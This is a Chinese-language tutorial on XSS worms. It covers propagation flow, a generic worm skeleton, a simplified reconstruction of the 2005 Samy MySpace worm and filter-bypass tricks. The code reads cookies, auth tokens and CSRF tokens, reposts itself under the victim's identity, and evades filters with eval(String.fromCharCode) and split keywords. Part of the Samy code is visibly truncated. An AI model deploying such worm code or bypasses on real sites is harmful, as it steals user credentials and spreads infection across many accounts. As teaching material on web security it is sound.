1. XSS蠕虫简介
XSS蠕虫是一种能够自我复制和传播的恶意JavaScript代码。它利用存储型XSS漏洞,在用户访问被感染页面时自动执行,并将自身代码注入到其他用户的数据中,形成链式传播。
危害特征
- 自动传播:无需人工干预,指数级扩散
- 影响范围广:可在短时间内感染大量用户
- 难以追踪:传播源头难以定位
- 持续性强:清除困难,易复发
2. 蠕虫传播原理
2.1 传播流程
// XSS蠕虫传播流程示意
// 第一步:受害者A访问被感染页面
访问者A -> 被感染的页面 -> 执行恶意代码
// 第二步:恶意代码获取A的身份信息
恶意代码 -> 读取Cookie/Token -> 获得A的权限
// 第三步:使用A的身份发布蠕虫代码
恶意代码 -> 以A身份发帖/评论 -> 注入蠕虫代码
// 第四步:其他用户B访问A发布的内容
访问者B -> 查看A的内容 -> 再次执行蠕虫代码
// 循环传播:B重复上述过程感染C、D、E...
2.2 核心技术要素
// XSS蠕虫核心代码结构
var worm = {
// 1. 自我复制:获取自身代码
getSelfCode: function() {
// 从DOM中提取自身脚本
var scripts = document.getElementsByTagName('script');
for(var i = 0; i < scripts.length; i++) {
if(scripts[i].innerHTML.indexOf('worm') > -1) {
return scripts[i].innerHTML;
}
}
},
// 2. 权限获取:读取用户凭证
getCredentials: function() {
return {
cookie: document.cookie,
token: localStorage.getItem('auth_token'),
csrf: document.querySelector('meta[name="csrf-token"]').content
};
},
// 3. 传播功能:发布带蠕虫的内容
spread: function(code, creds) {
var payload = '';
// 使用AJAX以用户身份发帖
fetch('/api/post/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': creds.csrf,
'Cookie': creds.cookie
},
body: JSON.stringify({
content: '看看这个有趣的内容!' + payload,
visibility: 'public'
})
});
},
// 4. 执行传播
execute: function() {
var selfCode = this.getSelfCode();
var creds = this.getCredentials();
this.spread(selfCode, creds);
}
};
// 自动执行
worm.execute();
3. 经典案例:Samy蠕虫
3.1 事件背景
2005年10月4日,Samy Kamkar创建了互联网历史上第一个XSS蠕虫,攻击目标是当时最流行的社交网络MySpace。在不到20小时内,超过100万用户被感染。
Samy蠕虫时间线
- 0小时:Samy发布第一个被感染的个人页面
- 8小时:感染用户超过10,000人
- 16小时:感染用户超过500,000人
- 20小时:感染突破1,000,000人,MySpace紧急下线
3.2 技术原理
// Samy蠕虫简化版核心代码
var samy = {
// 获取当前用户ID
getUserId: function() {
return document.URL.match(/\/profile\/(\d+)/)[1];
},
// 添加Samy为好友
addFriend: function() {
var http = new XMLHttpRequest();
http.open('POST', '/api/addfriend', true);
http.send('friendID=11851658'); // Samy的ID
},
// 在个人资料中写入"but most of all, samy is my hero"
updateProfile: function() {
var heroText = 'but most of all, samy is my hero';
var wormCode = this.getWormCode();
var http = new XMLHttpRequest();
http.open('POST', '/api/updateprofile', true);
http.send('bio=' + encodeURIComponent(heroText + wormCode));
},
// 获取蠕虫代码(使用巧妙的编码绕过过滤)
getWormCode: function() {
// 将';
},
// 执行蠕虫
init: function() {
// 避免感染Samy自己
if(this.getUserId() != '11851658') {
this.addFriend();
this.updateProfile();
}
}
};
// 页面加载后自动执行
window.onload = function() {
samy.init();
};
3.3 绕过技术
MySpace对用户输入进行了过滤,但Samy使用了多种绕过技术:
// 1. CSS表达式注入(IE浏览器特性)
<div style="background:url('javascript:eval(String.fromCharCode(...))')">
// 2. 拆分关键字
var tag = 'scr' + 'ipt';
document.write('<' + tag + '>...</' + tag + '>');
// 3. 使用ASCII编码
String.fromCharCode(60,115,99,114,105,112,116,62) //